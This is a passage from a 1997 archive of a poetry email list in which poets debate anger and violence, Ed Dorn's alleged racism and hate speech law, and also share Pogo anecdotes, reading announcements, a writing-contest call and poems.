it is not necessary to express violence through anger--indeed much violence in this country is done through a calm conviction that violence is the correct tactic. Students will often think of violence as a GIVEN--in my own experience, at least several students a semester will make the argument that violence is innate and normal, and that attempts to eliminate it are utopian and go against human nature. Violence, if accepted as natural, doesn't even need ANGER as a motivation--indeed, it can be seen simply as a natural extension of one's right to possess whatever one can get ahold of.

Anger, on the other hand, often remains very intensely a social taboo. Perhaps this comes in part out of the very deep U.S. ideological conviction that things are really okay--indeed that they MUST be okay, since "this" is America. So when people express anger, one response is that their confusion must be their own fault (or perhaps the fault of their parents) because how can there be any legitimate anger against what we all know to be a system of freedom?

Anger and violence are certainly related at times, but at other times, anger can be a legitimate reaction AGAINST violence, and does not necessarily lead to it. Indeed, it's far more likely that violence will result from the belief that one needs to repress one's anger than from the idea that expressing anger is actually okay. Are there times and places where one should express anger, and others where it should not be spoken? Perhaps, but perhaps not also... for where is that place where anger is totally taboo on every occasion?

I think I'm saying all this because, at times, it is easy on this list to confuse anger with violence--even to confuse expressions of desire for violence with the act of violence itself. But again, it is just as likely in many circumstances that vocal anger is a REFUSAL of physical violence. And I have been reading recent posts by Lisa Jarnot and Tom Mandel and others with the sense that everyone, in various ways, has been talking about how to REFUSE violence, and in that sense, I have found none of the recent discussion "disturbing" at all, except to the extent that disturbance is necessary to learning.

I think where this also relates to poetry has to do with what Charles Bernstein was saying about recognizing and continuing to deal with the "dark side" of poets and poetry. I'm not sure that poetry serves necessarily as an outlet for this "dark side," although it certainly can in some cases. But it just as equally can be a continued expression of fascination with, and extension of that "dark side." But I think that even in dealing with this "dark side" one has to work with the complex problem that poetry, in its interrelation with life, is not the same as other activities (indeed that all physical activites are distinct and cannot be reduced to sameness with each other). One can express a line, and not act on it--one can even express a line that is the opposite of what one would act on.

Similarly, it is possible to be greatly motivated by that which one would never speak...

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

37. Tom Mandel

Duncan Dorn Nuts

Mon 3 Mar 1997

Lisa Jarnot is "talking about the ignorance encouraged by the powers that be (corporate /hegemonic/media/USA) to keep marginalized groups separated from each other by convincing them that they should be enemies."

Without disagreeing, I hope it is clear that hegemonic powers have no need, alas, to *create* this kind of xenophobia, hatred, etc. As Duncan pointed out, and as I have been trying to make clear in my posts on this Dorn issue which has its teeth so deep in the leg of the list.

Why racism must be resisted is *not* that this is a way of resisting the hegemony, what the rabbis used to call the "kingdom of arrogance" or "Rome" but that racism is within us (like self-praise conscious or not) -- and that is why I offered my critique in the form of a knuckle sandwich. An acknowledgment, not an offer of violence.

Additionally, Lisa is not "saying that anyone's racism should be disregarded, but the truth is that we live in a violent racist homophobic country, where maybe "The Dorn Discussion" obscures the bigger problem."

But it's not "a racist country" it's a racist world (where "racism" can also stand in for what divides, for example, xtian and moslem bosnians who have clearly dropped from the same tree). Not that the uses of racism in policy should not *also* be resisted, of course they should. But it is easy to resist something so big that announcing one's opinion does the job. It is resisting the particular, the racism of a poet for example, that is difficult -- for a poet, for example to do or to read -- and may have a cost attached to it. I've gotten *several* backchannel messages, for example, that I shouldn't stick myself so far into this, it may not be wise (i.e. I am in danger of differing with opinion-makers and trend-setters in *my* world).

Tom

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

↑ Index

38. Maria Damon
Re: Duncan Dorn Nuts
Mon 3 Mar 1997

...mandel writes.... But it is easy
>to resist something so big that announcing one's opinion does the job. It
>is resisting the particular, the racism of a poet for example, that is
>difficult -- for a poet, for example to do or to read -- and may have a
>cost attached to it. I've gotten *several* backchannel messages, for
>example, that I shouldn't stick myself so far into this, it may not be wise
>(i.e. I am in danger of differing with opinion-makers and trend-setters in
>*my* world).
>
>Tom
>

i for one enjoy your posts, tom; tho' in specific cases i find myself ambivalent (genet, stein, spicer, baraka) i find your lack of ambivalence bracing.

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39. Charles Bernstein
correction in Welcome message
Mon 3 Mar 1997

Correction on Welcome Message (listserv address was misstated in this section only):

Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to
message
blank. In the body of your e-mail message type:

review poetics

Please do not send a message to the list asking for the address of a specific subscriber.

↑ Index

40. **simon**
Re: correction in Welcome message
Mon 3 Mar 1997

Usually, the command

    review LIST by name

will yield the list of subscriber's names and e-addresses in alphabetical order.

beth

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41. **Jordan Davis**
Bebe Repogo
Mon 3 Mar 1997

What was the influence of Bill Griffith's Zippy on langang poetry?

Also, hey, F. Bruno, while you're checking out the influence of Ashbery on Malkmus, could you check out what effect William Carlos Williams had on Walter Salas-Humara, and how much Olson there really is in D Berman's head, and whether David Byrne's favorite book really is _Bean Spasms_?

Hey, Mark Wallace, wait, nobody thought you were _angry_!

Whoa, Rod Smith, nice reading at Segue! keep those Minutemen references coming. Didn't you love it when Louis Cabri, in the middle of his breathy sequence of Canadian politics and expletives, dropping his manuscript all over the floor, whispered, in time with the poem, "Damn!" Was it not excellent of Heather Fuller to thank 'the woman in the corner' (Lee Ann Brown) for reading out loud along with all of Heather's choral poem, "Placards"? When's Heather's book's comin's out's?

? J

↑ Index

42. **Mark Prejsnar**
Re: e-signoffs / tradition & innovation
Mon 3 Mar 1997

This is an interesting convention. As David said (or did I think it??) related to things like bumperstickers...As such, sort of a subset of de/trans-personalized

verbalizations characteristic of late cap/urban experience? (an attempt to re-personalize same..) In other word, related to the ubiquity of advertizing and signage (..have been reading R. Waldrop's wonderful The Road is Everywhere, which encorporates pictograph'd street-signs into the dense personal-flow of the verse).

One Australian librarian who posts on library listservs has a box at the bottom, labelling it a "pithy-quotation-free space." thus the expectations a new convention gives rise to, can in turn be used to make (to feel compelled to make?) a statement...

One use for pithy quotations, which I think is fairly frequent--To make clear something one feels, to delinieate an emotional commitment to a value, without having folks think you're being too pushy about it. Another library worker has as her tag a Conrad quotation: "We live, as we dream, alone." As a socialist I find this quote depressing and even rather angering every time I see it. By the same token I've been using my signature to make a political point about outsourcing, which is part of capital's high-drive attack on people (working people, the majority); since my library actually does a little outsourcing, and I can't be too outspoken when cyberspeaking as part of my job, I hide behind 1. the putatively light, "witty" character of pithy-quotations; and 2. the prestige of a widely-read recent book in library science...I hereby append that signature, which I usually leave off when Poetix-izing:

Mark Prejsnar-- Acquisitions/Cataloging One good rule of thumb in
MacMillan Law Library librarianship and elswhere is: Emory Uni-
versity the uglier the neologism, Atlanta GA 30322
the more undesireable the notion [redacted] it describes. Vide
"outsourcing." fax [redacted] [redacted] --Walt Crawford
& Michael Gorman

↑ Index

43. Jennifer Sondheim
(me again)
Mon 3 Mar 1997

-

Jennifer Turns For Lorn

Today I up-and-gathered myself, all dressed in my new frock, and went gai- ly-raily to the store where I could buy books read by others. And there I found, guess, two volumes by sad Elinor Wylie, called Angels and Earthly Creatures, and Angels and Earthly Creatures! One was the very first edi- tion and the other was even earlier

There were these sad poems, and this very sad comment written right in both of them:

"The contents of this, Elinor Wylie's last, book of poems was selected by her for publication on the evening of December 15th, 1928, the day prior to her death. It is printed precisely according to her own arrangement without any necessity for the exercise of literary executorship."

Was she in bed? And, oh, Jennifer, that novel of hers which popularized my name, from Guinevere, Jennifer Lorn, that is I do believe, Jennifer For- Lorn! And what pretty books these books are!

> O break the walls of sense in half
> And make the spirit fugitive!
> This light begotten of itself
> Is not a light by which to live!

She wrote, and that other sense is me! Now this, from Miss Edna St-Vin- cent Millay!

> To Elinor Wylie
>
> [In answer to a question about her]
>
> Oh, she was beautiful in every part!
> The auburn hair that bound the subtle brain;
> The lovely mouth cut clear by wit and pain,
> Uttering oaths and nonsense, uttering art
> In casual speech and curving at the smart
> On startled ears of excellence too plain
> For early morning! - Obit. Death from strain;
> The soaring mind outstripped the tethered heart.
> Yet here was one who had no need to die
> To be remembered. Every word she said,
> The lively malice of the hazel eye
> Scanning the thumb-nail close - oh, dazzling dead,
> How like a comet through the darkening sky
> You raced! . . . would your return were heralded.

Now me!:

> would I have had the time to have been her instead of Jennifer, or have sat down against the clock killing her, dressed down in one or an- other violation fabric, cotton, silk, of pinafore or lovely frock, train, vel- veteen of lace, red wedding gown: would I these gloves have fit her, dark with grace and veil these lines would not have fit her, face of pearl, failed at being life, o Jennifer forlorn, o gods, o ghastly gruel, o meales, o scales

and carapace, nylons, garters rule the thin constricted waste, garnered heels turned to blacks; the violent maelstrom churns, burns against your slacks.

I describe myself upon the shelf.

I am so happy to have found love and death and Elinor Wylie!

↑ Index

44. Chris Stroffolino

SEGUE READING(rehm/stroffolino)

Tue 4 Mar 1997

To announce that I be reading with Pam Rehm this thursday is the expressed purpose of this message. "I hold a picture up everybody thinks it's me" is a Graham Parker line. The event is listed as a reading (I am from a town or tavern called Reading and Pam too was "raised" in Pennsylvania) and it will be at 7:30, March 6th 303 East 8th, btw. B and C. I think that is all the information one would need to know I think. But, although I can't speak for Ms. Rehm here, I should say that any potential audience people should not necessarily EXPECT it to be a reading. It's even less likely that I will play paino, though that might be more fun. But fun isn't the same as "pleasure". It's likely that there will be drinking before the reading--as if there would be no reading without drinking. Chris Stroffolino

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45. matt

Re: e-signoffs / tradition & innovation

Tue 4 Mar 1997

I think there is a certain analogous use of the sig.s to that os epigraphic prefatories, a certain aura, era, ira. but then there is the usual, the humourous, the 'god aren't I quick' etc. and the display of our pretentions, character slippage. much probably.

matt

↑ Index

46. Maria Damon

award

Tue 4 Mar 1997

---

hi all thot i'd share what just came across my screen:

Greetings!
>
>Following are the rules for the 1997 Tamarack Award contest for creative
>writing. Please share this information with writers. The winner of the
>1996 award was Lise Erdrich for her story "XXL." Writers who would like
>a copy of these guidelines mailed to them may mail a S.A.S.E to Tamarack
>Awards, Minnesota Monthly, 10 South Fifth Street, Suite 1000,
>Minneapolis, MN 55402.
>
>Thanks!
>Nancy Doyle
>Minnesota Monthly Magazine
>
>
>
>1997 TAMARACK AWARDS
>
>The Rules
>
>1. The competition is open to residents of Minnesota, North Dakota,
>South Dakota, Iowa, Wisconsin, and Michigan.
>
>2. Previous Tamarack Award winners and employees of Minnesota Public
>Radio and its affiliated companies are ineligible.
>
>3. You may submit only one manuscript. It must be an original,
>unpublished piece of prose. We will accept short stories or novel
>excerpts.
>
>4. Please limit your entry to 3,500 words.
>
>5. Your entry must be postmarked no later than May 19, 1997.
>
>6. Please type and double-space the manuscript.
>
>7. Submit one copy of your manuscript. Please do not put your name on
>the manuscript. Judging is anonymous.
>
>8. Include a cover sheet with your name, address, and daytime and
>evening phone numbers. Please indicate on the cover sheet whether your
>work is fiction or non-fiction.
>

>9. Include a stamped, self-addressed postcard, so that we can
>acknowledge receipt of the manuscript.
>
>10: Address your entry to:
>
>1997 Tamarack Awards
>Minnesota Monthly
>Lumber Exchange Building
>10 S. 5th St., Suite 1000
>Minneapolis, Minn. 55402
>
>The winners of the 1997 Tamarack Awards will be announced and published
>in the November 1997 issue of Minnesota Monthly. Authors of the winning
>manuscripts will, upon signing Minnesota Monthly's standard publication
>contract, be paid $500 for one-time publication rights;
>
>Minnesota Public Radio will reserve the right to broadcast readings of
>the winning manuscripts. Winners also will be announced in the
>January-February issue of Poets and Writers Magazine.
>
>Thank you for your interest in Minnesota Monthly's 1997 Tamarack
>Awards—and good luck!
>

↑ Index

47. Mark Wallace
is "hate" speech "free" speech
Tue 4 Mar 1997

Sorry not to let this thread die, but I don't think I'm quite ready to let go of it yet.

Frankly, I'm not sure where I would ultimately come down on this issue, but my understanding of the problems regarding "hate" speech have to do with potential contradictions between the first amendment, permitting free speech for all, and the fourteenth amendment, granting equal opportunity to all under the law.

Those who think of "hate" speech as purely a first amendment issue will, undoubtedly, want on all occasions to reserve people the right to speak as they please, although even this is limited, because certain kinds of speech ARE prohibited under the law (yelling "fire" in a theater being the cliched example). Thus, a first amendment position would clearly argue that more damage is done

by repressing the free speech of racists, etc, than by allowing them to speak freely, because of the potential dangers that the loss of free speech may lead to.

A Fourteenth Amendment position may, on the other hand, argue that it is necessary for the law to promote an environment in which opportunity remains equal for all. How does this impact the subject of speech? Does an environment of "free" racist speech harm the ability of individuals to have access to education, housing, etc? If such "group hate" speech does create an unequal environment, is a law restricting such speech in certain instances really an attack on the First Amendment? Does the question shift if one is talking not simply about an instance of a single racist speaker, but of a racist group that demands equal rights to resources on the grounds that their speech is as allowable as any other?

Interestingly, both Canada and Britain (if I understand correctly) do have laws prohibiting, in certain specific instances, the right of individuals to engage in "speech" specifically designed to denigrate any group of people based on some supposedly shared characteristics such as "race" etc. By interpreting these laws narrowly (that is, by only prosecuting very specific instances of indviduals preaching violence against groups), there has PERHAPS been very little impact on "free" speech.

A Fourteenth Amendment position might point out, therefore, that in a case where there may be a conflict between the right to free speech and the right to equal opportunity under the law, both individuals defending their right to free hate speech and individuals defending their right to equal opportunity by making attempted prosecutions of hate speech must prove "compelling reasons" that 1) their activity be protected 2) that the activity of others can be definitely SHOWN to impact their freedom. Thus, someone who sues someone else for "hate speech" must prove how they have been harmed, while someone defending their right to free speech must prove why their need to denigrate others based on race outweighs the right of individuals to equal access under the law. Both such instances would then need to be pursued on the basis of the particularities of their cases, rather than by generalities about "free speech" or "equal rights."

As I am still forming my point of view about these matters, I welcome response...

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:

| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

48. Mark Wallace
to clarify about Padgett
Tue 4 Mar 1997

For Rachel Duplessis and others:

Just as a clarification, my point last week about Ron Padgett and Ted Berrigan in relation to Tulsa was NOT that they knew nothing about the Tulsa incidents later in their life--I'm aware of Ron's poem on the subject. Rather, my point was simply that information about the Tulsa riots was not publically available in Tulsa for many years. In the case of someone like Ron, he clearly went on to research the subject--based on rumors he had heard? information from where? I don't know.

Rather, my point was this: what does it mean to live in an environment in which information about social reality is so biased that the public account of the Tulsa riots (despite several books that appeared on the subject (in the 60s?)) was that the National Guard had been called in to suppress a "Negro rebellion"? Where does such a reality intersect with the story of some young men who find that life in Tulsa does not perhaps offer sufficient outlet for a creative existence as a poet. Some might say: the two are not related--how could something that one could not know as a child impact one's later choices. My answer was this: is it not likely that what one does in reaction to one's social environment is influenced even by that which one does not know? That is: does not the suppression of information in one instance at least suggest why information (about creative choices, about poetry) is suppressed in other instances? Or put it this way: one may not know all of the reasons why one leaves a place, but the reasons one knows are intimately and historically bound with the reasons one does not know at the time, but may be lucky, committed, and intelligent enough to explore later.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

49. amato
Re: is "hate" speech "free" speech
Tue 4 Mar 1997

---

mark, have you looked at catherine mackinnon's _only words_ (harvard, 1993)?... she makes a strenuous case for a more conservative reading of the first amendment in light of the fourteenth, very much along the lines you're suggesting...

while i'm ultimately in disagreement with mackinnon, dworkin and others, i found the book useful in highlighting the contentious issues...

best,

joe

↑ Index

50. Jim Rosenberg
Genie: The Wild Child
Tue 4 Mar 1997

This will possibly come too late for those getting the list on digest, alas, but ...

If you haven't seen it, watch Nova tonight on PBS. It's a very provocative and disturbing piece on Genie, a contemporary "wild child" and addresses *a lot* of issues, including the role Truffaut's film had in shaping what happened to this poor human being who became a research tug of war.

With all of our talk here about "linguistically innovative" poetry, there is very little *news* here about what's going on in language research. Perhaps we think too much that we are the news. Whatever, this program addresses several disturbing issues regarding the role of research, science, and the fate of individual human beings in a dire discourse concerning core issues over the nature of language.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

51. aerialedge
Re: is "hate" speech "free" speech
Tue 4 Mar 1997

"Yell 'Shower!' in a crowded

theater."

--Ron Silliman, _Xing_

↑ Index

52. Jerry Rothenberg
Ed Sanders reading (San Diego)
Tue 4 Mar 1997

Owing to a scheduling mixup. Ed Sanders' reading at the Porter Troupe Gallery in San Diego is moved to Saturday March 8 at 2:30 p.m.

The address (unchanged) is 301 Spruce Street, and the number for further info is [redacted].

↑ Index

53. michael corbin
Re: is "hate" speech "free" speech
Tue 4 Mar 1997

Mark Wallace wrote:

> *As I am still forming my point of view about these matters, I welcome response...*

You may be interested in the forthcoming _Excitable Speech: Contemporary Scenes of Politics_, by Judith Butler, pub. Routledge. She has as well an essay in the current issue of _Critical Inquiry_, "Sovereign Performatives in the Contemporary Scene of Utterance," and excerpt of which can be viewed at

http://www2.uchicago.edu/jnl-crit-inq/v23/v23n2.butler.html

And while I take it that you are simply marking the terrain of the discussion with the juridicial lingua franca of 'constitutional' 'rights', I'm sure you'd agree that the ethical parole your post humanely searches for is hog-tied to the narrow legalisms of amendment cuneiform chiseled 'in order to form a more perfect union' (sic).

mc

↑ Index

54. Jordan Davis
eons of mass
Tue 4 Mar 1997

2nd issue of Mass. Ave.

came in the mail
or the ups today

Kim Lyons' Eon
rules the world

which is made up
of people you like

and who for
the most part

like you --
this after

last week's mail
which brought

Steve Evans' lecture --
is it ok to mention it? --

on the structure of
literary change

a lecture which
will no doubt change

the way one talks about
what goes on --

a TINA-formation
a young Hegelian

and the autonomy that beats
all hegemony, that bests it

on graceful excursions into
the outlying territory

↑ Index

55. Maxianne Berger
Re: Pogo
Tue 4 Mar 1997

Am delayed due to being on digest -- and this post conrains very trivial information.

On Sunday, 2 Mar 1997, Steven Marks asked about Kelly's clay feet:

> *I, too, wonder what Walt*
> *Kelly's clay feet look like.*

Make that clay *foot* as Kelly lost one leg accidentaly at the age of nine, hitching a ride on a truck bumper--if memory serves me correctly.

Maxianne, who only remembers a ketchup-bottle dress otherwise :)

==========
Maxianne Berger * [redacted]
==========
<< Qui se sent morveux, qu'il se mouche! >>
==========

↑ Index

56. Burt Kimmelman
recommended reading
Tue 4 Mar 1997

I urge everyone to get and read through the March 17th issue of The Nation, whose cover story is "The Crushing Power of Big Publishing." It's wonderful, as are a great many other related articles in this special issue on The National Entertainment State.

↑ Index

57. Mark Weiss
Re: Pogo
Tue 4 Mar 1997

Nope, that's Al Capp, whose politics were more shmoozville.

At 04:11 PM 3/4/97 -0500, you wrote:
>
>Make that clay *foot* as Kelly lost one leg accidentaly at the age of
>nine, hitching a ride on a truck bumper--if memory serves me correctly.
>
>Maxianne, who only remembers a ketchup-bottle dress otherwise :)
> ==========

```
>              Maxianne Berger * [redacted]
>            ========================================
>           << Qui se sent morveux, qu'il se mouche! >>
>            ========================================
>
>
```

↑ Index

58. **Joe Safdie**

Re: More (sigh) Dorn

Tue 4 Mar 1997

On Sat, 1 Mar 1997, Tom Mandel wrote (in part):

> *Let me ask Joe Safdie directly -- since he knows Dorn over a long period and is Jewish -- did Dorn *ever* taunt you as a Jew or "jew-bait" you in any way? A truthful answer will clear up -- and I think end -- this creepiness. Joe knows the truth (in a funny way, so do I). And just needs to propose the truth here.*

This "direct" question by Tom totally ignores a post I made a few days earlier (February 25th) in which I said "in 20 years of off-and-on friendship my Jewishness was never the occasion for any Jew baiting." I would have thought this statement was fairly clear. I know Tom saw the post because he referred, in the verbal equivalent of a sneer, to other parts of it later. Perhaps he jumped over this part. If there is any single human being still interested in this issue, let me state that, unlike Maria, I haven't found Tom's "lack of ambivalence" at all refreshing, that I think he's been wrong from the start, that I fail to see how offering anyone a "knuckle sandwich" can be seen as implying that the perceived fault is shared, and that (finally) the reason I haven't responded before this was because I was concerned about an issue of public/private posting that I thought gave rise to Tom's question: I'm told -- and I indeed thought -- that the impetus for this question came from his knowledge of a PRIVATE post I had made to another member on the list, who then paraphrased it (perhaps prematurely) to Tom, who then posted it to the entire list. That's troubling. If, however, the impetus for the question came solely from my statement that I have, in fact, known Ed for some 20 years, he should have read the rest of the post where that statement appeared. I suggest, now, that the place to pursue any further discussion of this issue is through back-channels, where I'll be happy to discuss with any and all what I do and (mostly) don't know.

↑ Index

59. **Pritchett,Pat**

Re: Yell "Shower"

Tue 4 Mar 1997

AREOPAGITICA, Part Deux

In the field of this world
confused seeds
are promiscuously read

the infection may spread,
not unelegantly,
into the first rank.

Yet one jewel left,
in any hermitage,
denotes a rigor contrary
to a streaming fountain.

Like trading all day without
your religion.

These are the fruits
(how to be washed?)
as any January cld freeze together
a perfect shape
into a thousand pieces.

We boast our light,
discern those planets
we have gained:
remote, unmitering, stark blind.

All concurrence of signs:
anvils hammers plates lamps harvest
cannot be a continuity

dissimilitudes arise.

And graceful symmetry, the whole pile wise
as prophets (radiance, noise) who love twilight
in a year of sects and flowery crop.

By privilege to write and speak in agitation
a man finds his findings scattered
by the wind and sun
(what keeps a narrow bridge
and has more shapes than one)

He who eats the handwriting of
the ghost of linen sees
the disunion of all formality,
the sudden sub-dichotomies
of gold and silver

sever the end of mortal things

↑ Index

60. George Bowering

Re: Pogo

Tue 4 Mar 1997

Now Walt Kelly wd be in another kind of trouble. Once Pogo and Albert were out on their flatboat (remember the name on the side wd chgange a little with each panel?) fishing, and Pogo went to throw the anchor, but it went into Albert's mouth and he fell overboard. When he surfaced, Pogo said "Albert you is swoggled the anchor!" And lighting up, Albert said, "Yep, and I is smokin' the rope!"

Another time the turtle guy was standing on Albert's chest, looking down his maw at something else Albert has swoggled, and he says, "Albert, you is deeper than I thunk!"

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

61. Maria Damon

Re: Pogo

Tue 4 Mar 1997

At 7:40 PM -0800 3/4/97, George Bowering wrote:
>
>
>Another time the turtle guy was standing on Albert's chest, looking down
>his maw at something else Albert has swoggled, and he says, "Albert, you is
>deeper than I thunk!"
>

"that turtle guy" had the brilliant name of, as i recall, churchy la femme. this whole cold war thread, including people's passion for pogo, is teaching me a lot about my stoically complacent father, who had a passion for pogo, mentioned once that the rosenbergs' only crime was being jewish, and otherwise struck me as more of a podhoretz-type than anything else...now i can see between some of those silences...thanks all.--md

↑ Index

62. **Maria Damon**
announcements
Tue 4 Mar 1997

---

hey guyzies: a couple of short essays of mine, including the angel piece i mentioned last year, just came out in "mass culture and everyday life," edited by peter gibian, routledge. also, did i mention that thanks to the suggestion of a list member, i was able to place my lenny bruce piece in postmodern culture? it's on the web now, current issue. thanks all.--md

↑ Index

63. **Martin J Spinelli**
looking for Marinetti audio
Tue 4 Mar 1997

I'm looking for recordings of F.T. Marinetti and other Italian Futurists. I've located some Marinetti on the Tellus #21 cassette, but would like to uncover more (as much as there is).

Can anyone point me in the right direction? Post here or back-channel me and I'll post the findings to the list all at once.

Many Thanks,
Martin

_____ Martin Spinelli [redacted] English Department, SUNY @ Buffalo LINEbreak http://writing.upenn.edu/epc/linebreak EPC Sound Room http://writing.upenn.edu/epc/sound

↑ Index

64. **Herb Levy**
Re: looking for Marinetti audio
Wed 5 Mar 1997

Martin,

the Belgian recording label Sub Rosa has a collection called Futurism & Dada Reviewed, that includes recordings of Apollinaire, Cocteau, Duchamp, Grandi, Huesenbeck, Janco, Wyndham Lewis, Marinetti, Russolo, Schwitters, & Tzara.

Some of the recordings are old & not well restored & some of the editing/collaging of sound is confusing & weird, but it's the only relatively easy to find source of recordings of lots of these people. I've got the LP, but I've seen it on CD.

Bests

Herb

> *I'm looking for recordings of F.T. Marinetti and other Italian Futurists.*
> *I've located some Marinetti on the Tellus #21 cassette, but would like to uncover more (as much as there is).*
>
> *Can anyone point me in the right direction? Post here or back-channel me and I'll post the findings to the list all at once.*
>
> *Many Thanks,*
> *Martin*
>
> ---
> *Martin Spinelli* [redacted]
> *English Department, SUNY @ Buffalo*
> *LINEbreak* *http://writing.upenn.edu/epc/linebreak*
> *EPC Sound Room* *http://writing.upenn.edu/epc/sound*

Herb Levy
[redacted]

↑ Index

65. KENT JOHNSON
Re: mimeo revolution
Wed 5 Mar 1997

A couple of other mimeo/xerox notables: Mark Nowak's old Furnitures, and Giants Play Well in the Drizzle. Also Andrew Schelling's Jimmy and Lucy's House of K, which I think was reincarnated into something else.

Kent

> Date sent:
Wed, 5 Mar 1997 13:39:49 - 0500
> Send reply to: UB Poetics discussion group <[redacted]>
> From: Jordan Davis <[redacted]>

> Subject: Re: mimeo revolution
> To: [redacted]

> *C*
> *Mag City*
> *Adventures in Poetry*
> *The Harris Review*
> *Dodgems*
> *C Comics*
> *The World*
> *Gandhabba*
>
> *and then later...*
>
> *Object*
> *The Impercipient*
> *Explosive Magazine*
> *Antenym*
> *Stud Duck*
> *Torque*
> *Tads*
> *Mirage (Periodical)*
> *Yale Younger Poets*
> *Situation*
> *Tamarind ...*
>
> ———
>
> *Dear Fiona,*
>
> *Steve Evans' lecture "The Dynamics of Literary Change" is available from The Impercipient Lecture Series, 61 E Manning St, Providence RI 02906-4008. I misspoke when I said that it proposes a structure of literary change. What would be more accurate is to say that the talk digresses around the subjects of the autonomy of the work of art, the beginnings and ends of literary eras, and the writings of Hegel, Musil, Bourdieu, Adorno and others.*
>
> *Jordan*

↑ Index

66. Rachel Loden

Re: Pogo

Wed 5 Mar 1997

George Bowering wrote:

> *Once Pogo and Albert were*
> *out on their flatboat (remember the name on the side wd chgange a little*
> *with each panel?)*

Yep. And those were (sometimes) the names of real swamp denizens, I have reason to know, because once it was my best friend in grade school. Okay all this has sent me back to the Pogo books (I knew this list was good for something). Where I find a poetry contest between Albert and a worm. Albert, glaring at worm: BY JING! I could write a BETTER poem than that with BOTH HEADS tied behind of my back. Worm: Phoo! You missed its fruity import. Albert: Phoo yo' own self...It don't mean nothin' an' I don't unnerstan' it! Howland Owl: You don't understand RUSSIAN, so Russian means NOTHIN'? Worm: NYET! ... Albert: Fuddle- stucks! I'll outscan that li'l grub TWO TO ONE. Worm: WELL! I'll go home an' work on my I-ambic pentameter. Albert (enraged): By tunkit, if you uses any MACHINERY, I'll declare a FOUL!

and so on.

Rachel L.

↑ Index

67. John Cayley
email address for Steve McCaffery
Wed 5 Mar 1997

Is Steve McCaffery on the list? Or can someone back channel me with a current email address for him. I just sent a message to what I thought was correct and it was bounced.

- > John Cayley / Wellsweep Press http://www.demon.co.uk/eastfield/ 1 Grove End House 150 Highgate Road London NW5 1PD UK Tel & Fax: ([redacted] Email: [redacted] < -

↑ Index

68. nico vassilakis
peoigreqmvertyntynyutrtyrwvpuqwv!
Wed 5 Mar 1997

---

march fifth's poetics list digest

strangest i've everseen

weird knitmare

play-marble

shrapnel

salimat pagi = may yr morning be blessed

now get da fuck outta here

www.speakeasy.org/cgi-bin/gallery/show?g=46

is drunken"un"

what happens to tom waits' voice at home near the potatoes and mustard and the curled piece of meat on the grill. does it go to the soft or scrape
purr sawtooth
cant imagine that whole robert wilson absorption
so david burns and tom waits
patula clarks and dion
well he's dion

like elvis crest-nut these moving magazines, e.mail bonfires, merry-go-tronics, hotwired.com bodegas, fashion-plate electroburros, white muddafuckers teeming with taxable income, who makes = or < 14K?, who admits this, who conjures distraction, so much deep ends on wheelburros, herein seattle the only thing to talk to - you see miles before it approaches, preferably not in the dreaming, exnihilo, esquire letterhead, leave pizza by the subway entrance, did a vehicle come and land from somewhere out there in the andes, did a vehicle come, i wish somebody better put out the big light.

good night guillaume, keeper of black stones
where universe begins vacuuming genesis and american cities break the posture of emotive struggle.

L=poets forenite unite despite respite eclipse dismiss summarily from viewing l=guage in common usage / is similar in age, as in age between the two, language-usage

↑ Index

69. Jay Schwartz
Re: mimeo revolution
Wed 5 Mar 1997

Some of the magazines listed here are photocopied- does the original post specify mimeographed?

I would be very interested in hearing from magazine producers about the difference in production choices that mimeograph vs. photocopy entails. Not just technical, but the aesthetic choices as well.

Thanks,

Jay Shxwartz

↑ Index

70. F.A. Templeton
Re: e-signoffs / tradition & innovation
Wed 5 Mar 1997

Dear Mark P,

What IS outsourcing?

Fiona

↑ Index

71. F.A. Templeton
Re: eons of mass
Wed 5 Mar 1997

Dear Jordan,

Steve Evans lecture: tell more.
Fiona

↑ Index

72. Tom Mandel
<Sigh>
Wed 5 Mar 1997

Poor Joe Safdie, feeling pressed to deny the Jew-baiting (or whatever) of which his friend Ed Dorn *accuses himself* in the letter to Baraka Al Nielsen quoted oh so long ago, refers to:

"a PRIVATE post I (i.e. Joe) had made to another member on the list, who then paraphrased it (perhaps prematurely) to Tom, who then posted it to the entire list."

What’s he talking about? What did I "post to the entire list?"

And, oh yes, what about --

Dorn defending, at the Berkeley conference on Olson a few years back, Vincent Sarich and his ideas about the genetic intellectual inferiority of certain racial groups

-– as someone emailed me recently (and shamefully I share it with the entire list). Is it fact or fiction? Is it irrelevant? Doesn't affect *my* life (whose?)

Now, I could go on and ask Joe whether and what he knows about that subject, but I won’t.

My concern is not the question of Dorn’s racism; maybe it's all an unfortunate tissue of coincidental misquotations, anyway he doesn’t seem placed where he can do much harm, anyway harm to him occurs only if he comes around me with that kind of stuff (pop in the puss).

I am concerned with the way it got handled here. The fact that Al Nielsen’s personal testimony and then his reference to a researcher-available letter were both pooh-poohed. The fact that the subject seemed embarrassing, somehow vulgar perhaps, to certain members of the list, the fact that it prompted the really low-level response that "why yes, poets can be bad people." Or worse, can be "difficult" people. Und so weiter.

That’s what I meant by calling the thread "creepy." Not Dorn, the response on the list.

Tom

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

↑ Index

73. Mark Wallace
Peter Gizzi and Nate Mackey
Wed 5 Mar 1997

Is there anyone on the list who can give me either the e-mail address and/or phone number for Peter Gizzi and Nathaniel Mackey? A backchannel note would be much appreciated.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
